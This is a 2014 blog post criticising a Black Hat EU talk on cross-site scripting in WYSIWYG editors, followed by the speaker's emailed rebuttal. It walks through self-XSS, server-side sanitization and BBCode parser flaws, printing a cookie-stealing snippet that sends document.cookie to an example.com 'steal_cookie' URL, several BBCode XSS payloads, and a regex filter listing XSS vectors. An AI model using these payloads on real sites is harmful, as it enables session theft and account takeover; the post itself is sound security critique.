Criticism - Revisiting XSS Sanitization

Posted on Sat 18 October 2014 in posts

This is a criticism about Ashar Javed's BlackHat EU Talk: Revisiting XSS Sanitization.

I believe as in any field of science we need to have a discussion about published research. Especially when we think there is something wrong with the "experiments" and the resulting conclusion. Maybe I'm completly overlooking something, but at this point I don't even understand how this talk got accepted to a renowned conference like Black Hat.

First I want to give a quick summary of what Ashar Javed claims. Then I want to talk about what I thought is the consensus of the security community regarding XSS. And at the end I want to evaluate his conclusion/solution. Unfortunately I haven't seen his talk, so I can only read his paper and guess what he said during those 168 slides.

sha1lcode calltree

Research Summary

Basically he claims that he found Cross-site Scripting exploits in the top 25 online WYSIWYG editors with.

But what exactly did he exploit? He says,

The third-party WYSIWYG editors are normally available in the form of client-side JavaScript library, PHP or ASP based sever-side component and Rails gem.

So we already have multiple components - the client-side editor and sometimes a server side script that handels the input. And he is not clear about what component he exploited.

This is an example data flow. A user creates a post using a WYSIWYG editor, sends the post to the server where it get's stored in a database. And when another user wants to read the post, the server purifies/encodes the post properly, so it can be safely rendered in the user's browser: sha1lcode calltree

Let's go over each possible exploitation scenario:

1. Exploiting the Javascript Editor

1.1 Edit/Quoting Functionallity

Let's assume there is a sanitized, completly safe, forum post like this:

sha1lcode calltree

But when another user would want to [Quote] your post, and by doing so automatically copies the string into his WYSIWYG editor and it executes the javascript, then we have a minor XSS issue.

Is this one of his attacks? I'm not sure.

1.2 Self-XSS

Self-xss means a user get's tricked into hacking himself. This works against really stupid unknowing people and is for example an issue for facebook - I could tell a 14 y/o kid that he can get free FarmVille credits when he presses F12 to access the "cheat console" (Developer Toolbar: F12, cmd+opt+I), and pastes this snippet:

new Image().src="http://example.com/steal_cookie?c="+encodeURI(document.cookie);`

Of course the developer console ist very obvious. So with a WYSIWYG editors you can maybe exploit some functionallity that causes javascript to be executed. For example if I can enter javascript:alert(1) as a URL and it get's rendered (eg. in the Preview) as <a href="javascript:alert(1)">link</a>, I can trick a user to execute that.

[!] Note: this is only on the current page, we haven't saved our text to the server - and we don't know yet how the real output looks like. It's possible that the output is properly sanitized/purified when we submit this link as a post. This means I can trick somebody into a self-xss if I can make them following those steps.

Compare it to the original data flow. This XSS never leaves the first user:

self_xss

And I believe that most of Ashar Javed's XSS are exactly this. For example his tinymce writeup sounds exactly like that (click on the image to go to his original post):

tinymce xss

Yes it can become a problem (see facebook), but in general I consider it a very very minor issue. Not even worth reporting.


2. Exploiting the server-side script

This time we have the full flow and we store the post on the Server. But it doesn't get properly purified/encoded/sanitized for rendering in the user's browser.

server xss

2.1 Output not properly sanitized

Here is a perfect example by @StackSmashing. Protonmail uses a WYSIWYG editor (but this fact doesn't really matter). @StackSmashing then just edit's the editors generated HTML code and sends it to the server. Instead of properly sanitizing it, the code get's embedded in an email and then executed.

[!] Note: this works with any WYSIWYG editor, when the output is not sanitized. Actually it's wrong saying that this is an issue of the editor. Because whatever the editor may disallow/purify/encodes/sanitizes, an attacker can always send what he want's to the server. The output needs to be safe.

2.2 BB-Code parser

Here is where stuff actually becomes very interesting and fun :3

Some WYSIWYG editors create BBCode rather than HTML. But somewhere this BBCode has to be parsed and translated into HTML. And many people write regex parser for that - which is a horrible idea. As langsec, Chomsky hierarchy and many other examples have taught us, it's impossible to match a context-free (Type-2) language like HTML with a regular language (Type-3) like regex. Thus we can exploit those flawed regex parsers.

Easy XSS could look like this:

[img]fake.png" onerror="alert(String.fromCharCode(88,83,83))[/img]

But because of regex parsers, weird stuff like this can help you break out off attribute contexts etc.

[url=[img][/img]] onmouseover=alert(1) foo=bar[/url]after
[img][url=//onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))//][/url][/img]

Here is a post by @kkotowicz about XSS with the TinyMCE WYSIWYG editor bbcode plugin.

And I have also made a talk about hacking a browser game (in german) that includes this kind of attack.


The question is now, does Ashar Javed exploit the parser/sanitizer on the server? I'm not sure. I think hope the XSS that gave him bug bounties were from this kind.

XSS Prevention

As far as I know the consensus of the security community regarding XSS is, that we need to encode data output based on where we put it. For example the OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet tells us specific rules based on the context we want put data in.

But WYSISYG editors are a bit special, because websites that use them specifically want to allow certain HTML tags in user input. And this is a nontrivial task! But luckily other people have solved this for us already and there are projects like HTML Purifier or DOMPurify.


Evaluating Ashar Javed's solution

In his BlackHat briefing he promises us ...

... a sanitizer (very easy to use, effective and practical solution) which is based only on '11 chars + 3 regular expressions' and will show how it will safe you from an XSS in HTML, attribute, script (includes JSON context), style and URL contexts.

php xss filter

which seems to be this implementation, published by him in June/July this year.

php filter

It doesn't even make sense here. Because we are talking about WYSIWYG, where we want to allow certain tags. But this filter just encodes everything (read as: doesn't allow ny tags). This doesn't help preventing all the server side parsing/purify difficulties we have with complex html.

Additionally he publishes another solution - a javascript based filter. Does this help to prevent the client-side (self-xss) issues of all those WYSIWYG editors he exploited?

js xss filter

Nope. Of course not. This is what he does:

function test(string) {
    var match = /<script[^>]*>[\s\S]*?/i.test(string) ||
         /[\s"\'`;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C\x28]*=/i.test(string)  ||
         /(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i.test(string) || 
         /%[\d\w]{2}/i.test(string) ||
         /&#[^&]{2}/i.test(string) || 
         /&#x[^&]{3}/i.test(string) ||  
         /&colon;/i.test(string) ||
         /[\s\S]src[\s\S]/i.test(string) ||
         /[\s\S]data:text\/html[\s\S]/i.test(string) ||
         /[\s\S]xlink:href[\s\S]/i.test(string) ||
         /[\s\S]base64[\s\S]/i.test(string) || 
         /[\s\S]xmlns[\s\S]/i.test(string) ||
         /[\s\S]xhtml[\s\S]/i.test(string) || 
         /[\s\S]href[\s\S]/i.test(string)  || 
         /[\s\S]style[\s\S]/i.test(string) ||
         /[\s\S]formaction[\s\S]/i.test(string) ||
         /[\s\S]@import[\s\S]/i.test(string) || 
         /[\s\S]!ENTITY.*?SYSTEM[\s\S]/i.test(string) ||
         /[\s\S]pattern(?=.*?=)[\s\S]/i.test(string)  ||
         /<style[^>]*>[\s\S]*?/i.test(string) ||    
         /<applet[^>]*>[\s\S]*?/i.test(string) || 
         /<meta[^>]*>[\s\S]*?/i.test(string) || 
         /<form[^>]*>[\s\S]*?/i.test(string) ||
         /<isindex[^>]*>[\s\S]*?/i.test(string) ||
         /<object[^>]*>?[\s\S]*?/i.test(string) || 
         /<embed[^>]*>?[\s\S]*?/i.test(string);
    return match ? 'Filter has catch your awesome vector ... Try hard  :(' : 'Bypass :)';
}

This filter has so many false positives. I can't even write a simple text like: "do you know base64?". And yeah, it allows some tags like <b>bold</b>. But it doesn't solve the more difficult challenge that HTML purifier face - allowing a lot of different tags with attributes, etc.

filter false positive

It's another "solution", which in reality is not a solution.

As I mentioned, I haven't watched his talk, but based on the slides it seems like he even makes fun about what the developers say. But I have to agree with them (see 2.1 Output not properly sanitized) - because an attacker can pass any input to the server. It doesn't matter what the capabilities of a WYSIWYG editor are.

developer comments


My conclusion

Ashar Javed's is not very clear about what he actually did. I believe most of his XSS were just self-xss. And even if it was more than that (see my overview 1. - 2.) it is still old and known stuff.

Besides that, the "solutions" he provided are not solutions for his issues. Neither on the server-side nor on the client-/editor-side do they sanitize/purify HTML to allow harmless tags -> which is the real challenge.

I mean it's not necessarily wrong what he says. It just doesn't make a lot of sense in this context and it's not really new.

It could be a nice paper if it would include which parts he actually exploited. So that WYSIWYG editor (and backend) developers can actually learn from the mistakes of others.

In the end I don't understand how this got accepted by the BlackHat EU reviewers...

Now I want to finish with the quote of a friend:

If you wrap it into a confusing cloud of half-true content you can get quite far


Rebuttal

To keep it fair Ashar Javed received this article as a draft to be able to comment about it beforehand. He also gave the permission to publish his answers here, which is great for transparency.

I will not make any additional comments to what Ashar replied, because in my opinion it doesn't change anything about what I said above.

.mario sends the following email to Ashar:

Hello Ashar,

we had a look at your BlackHat presentation and paper and developed doubts about its content and reasoning.

We discussed it internally and couldn't arrive at a point where it all makes sense. That holds for both the attacks as well as the proposed defense.

We will publish a written criticism very soon but wanted to give you a chance to preview and comment this. [...]

While not written by me, I agree with all mentioned in there and believe it is right.

Your comment on that is welcome.

.mario

Ashar Javed answers:

Hi,

I can give you a point-wise or line-by-line feedback but for this I need more time.

The case study about WYSIWYG editors is a general study and it includes server-side, client-side and different programming languages WYSIWYG editors (in PHP. ASP, Rails, JavaScript and JQuery-based etc). I discussed the results in general and they are not specific to client or server side.

It is a debatable issue that client-side sanitization will be there or not ... I found Froala WYSIWYG editors developers were very keen in sanitizing stuff on the client side but on the other hand CKEditor developer said to me that it is a server-side problem. I used developers' comments in the slides not for FUN but I wanted to convey that developers of WYSIWYG editors want server-side sanitization while developers of server-side web applications take the product and start using it without adding sanitization stuff which makes the sites vulnerable. I had given examples of Twitter, CNET, Ebay etc ...

Fabian had written that bug in Tiny-MCE is not even worth reporting but my question is that why developers are keen in fixing it quickly ... For my 1000 USD bounty from Magento (BB-code in use), as far as I know, everything is happening on the server-side and for me it was a black-box text.

Down below I will try to make some points clear so that you will have a better understanding of the slides. I think the confusion arise because you had seen:

http://xssplaygroundforfunandlearn.netai.net/wysiwygdemo.html

and then jump to the conclusion.

This was a demo where for the sake of demo, I used the client-side code and the regular expressions are in JavaScript.

What I had in my mind and what I wanted to convey and conveyed i.e., "see this filter for harmless tags" is still holds true if you will use the same regular expressions on the server-side.

This filter allows very simple tags like bold,, italic etc. It does not allow links and images. If you look at the Facebook's WYSIWYG editor (I really liked because it is very simple) which is available at: https://www.facebook.com/editnote.php and I mentioned in the slides also: http://slides.com/mscasharjaved/wysiwyg-editors-xssed#/172

It also allows simple tags without images and links. The pro of my filter (if used on server-side) is that it is open-source (since last two and half years because it is part of ModSecurity Core Rule Set also) though suffers from false positives (which is a common problem in filtering solutions). Facebook's WYSIWYG editor is not open-sourced but very good in a sense that it has no false positives ... In comparison, there is a trade-off.

The demo http://xssplaygroundforfunandlearn.netai.net/wysiwygdemo.html is not a final solution for WYSIWYG editors. It is just one potential solution that developers may use (use this on server-side).

Now discuss second potential solution (not a complete) but bits and pieces can be used by the WYSIWYG editors' developers. As an academia, we proposed different prototype solutions ... you also know that.

In a recent work, I had developed a per-context server-side filter or encoder which is based on minimalistic encoding of meta or trigger characters. It is a complete solution for an XSS protection in five contexts and I achieved the results with only 11 characters and 3 regular expressions in total. It supports five contexts, HTML, attribute, style, URL and script. I had developed the solution by keeping in mind XSS not WYSIWYG editors ...

But by keeping in mind WYSIWYG editor's functionality, as a developer one can leverage the code from three contexts that are also part of most WYSIWYG editors ...

  • attribute
  • style
  • URL

If you are a WYSIWYG editor developer and wants to allow users of WYSIWYG editors to set some attributes like id, class then you can use a function proposed attributeContextCleaner (see http://slides.com/mscasharjaved/wysiwyg-editors-xssed#/156)

In a similar manner, if you want to allow styling then you can use styleContextCleaner. Fabian had written that it encodes everything ... No. It only controls six characters that are necessary to execute JavaScript in style context. At the same time, it allows simple styling which I assume WYSIWYG editors want to offer (see http://slides.com/mscasharjaved/wysiwyg-editors-xssed#/162). One can also cut short six control characters into five characters if you know that you will be only using double quotes through-out your code then no need to control single quote in style context and vice-versa. Can be further shorten to four characters if you as a developer are sure that you will be using only style attribute not style tag then remove < from the list ...

For URL, if you are a WYSIWYG editor developer then I had written 3 regular expressions that only allow harmless URLs and do not allow JavaScript, Data and VbScript URI. I had discussed one out of three regular expression here: http://slides.com/mscasharjaved/wysiwyg-editors-xssed#/164 The other two regular expressions deals with mailto: and relative URI etc.

Because script context is not part of WYSIWYG editor's functionality and that's why I omitted scriptContextCleaner from the slides.

The challenge related to these 11 characters plus 3 regular expression is still online http://demo.chm-software.com/7fc785c6bd26b49d7a7698a7518a73ed/ and so far 82K XSS attack attempts failed ... I had shown the logs in the presentation at Black Hat.

Take away for this second solution:

"No matter how you will code your WYSIWYG editor but if your WYSIWYG editor supports above three contexts then YOU MAY LEVERAGE MY CODE WHICH IS UNBREAKABLE and perfectly suites/fits (at least I think) in three contexts ..." My assumption is that even if they have some sort of sanitization then it may be flawed. Mine functions are thoroughly tested by the community and so far flawless ... (no one is able to XSSed these). They can use my functions as a replacement only for their sanitization routines ...

I hope it helps.

After this initial exchange .mario asks a few specific questions:

a) You say your filter is flawless and ready for deployment against XSS?
  • From: sanitization then it may be flawed. Mine functions are thoroughly tested by the community and so far flawless ... (no one is able to XSSed

So far flawless. But I can not guarantee about the future ... As far as deployment is concerned, it has already been deployed as an extension for Symphonycms: https://github.com/symphonycms/xssfilter. There are other products also. Once paper (under submission) will be accepted, all names will be public.

b) You say that if no server side validation is being used, the client side validation/sanitation will help?
  • From: [...] that developers of WYSIWYG editors want server-side sanitization while developers of server-side web applications take the product and start using it without adding sanitization stuff which makes the sites vulnerable.

Yes & No. It is debatable....

c) Existing XSS filters commonly introduce false alerts
  • From: (which is a common problem in filtering solutions)

Yes. see this also: http://www3.cs.stonybrook.edu/~rpelizzi/xss.pdf. This paper discussed NoScript's false positives ...

d) Given you referenced the way academia works: Do you consider your work to be novel? You mentioned a proposed solution. Are you the first proposing this? I am asking these questions to get an understanding of what you mean and what the background of the presentation and publication is.

I see novelty ...

1) You were the first in literature who proposed a particular type of solution

2) Improvement over existing work ...

My proposed sanitization solution lies in (2) because there are already solutions like OWASP Java Encoder but mine solution http://demo.chm-software.com/7fc785c6bd26b49d7a7698a7518a73ed/ is improved in a manner because I did the job with far less number of characters ...

The black hat talk is related to the case study of looking at XSSes in WYSIWYG editors.

e) Do you mind if we publish your replies in our article?

You can post my replies given not tweaked.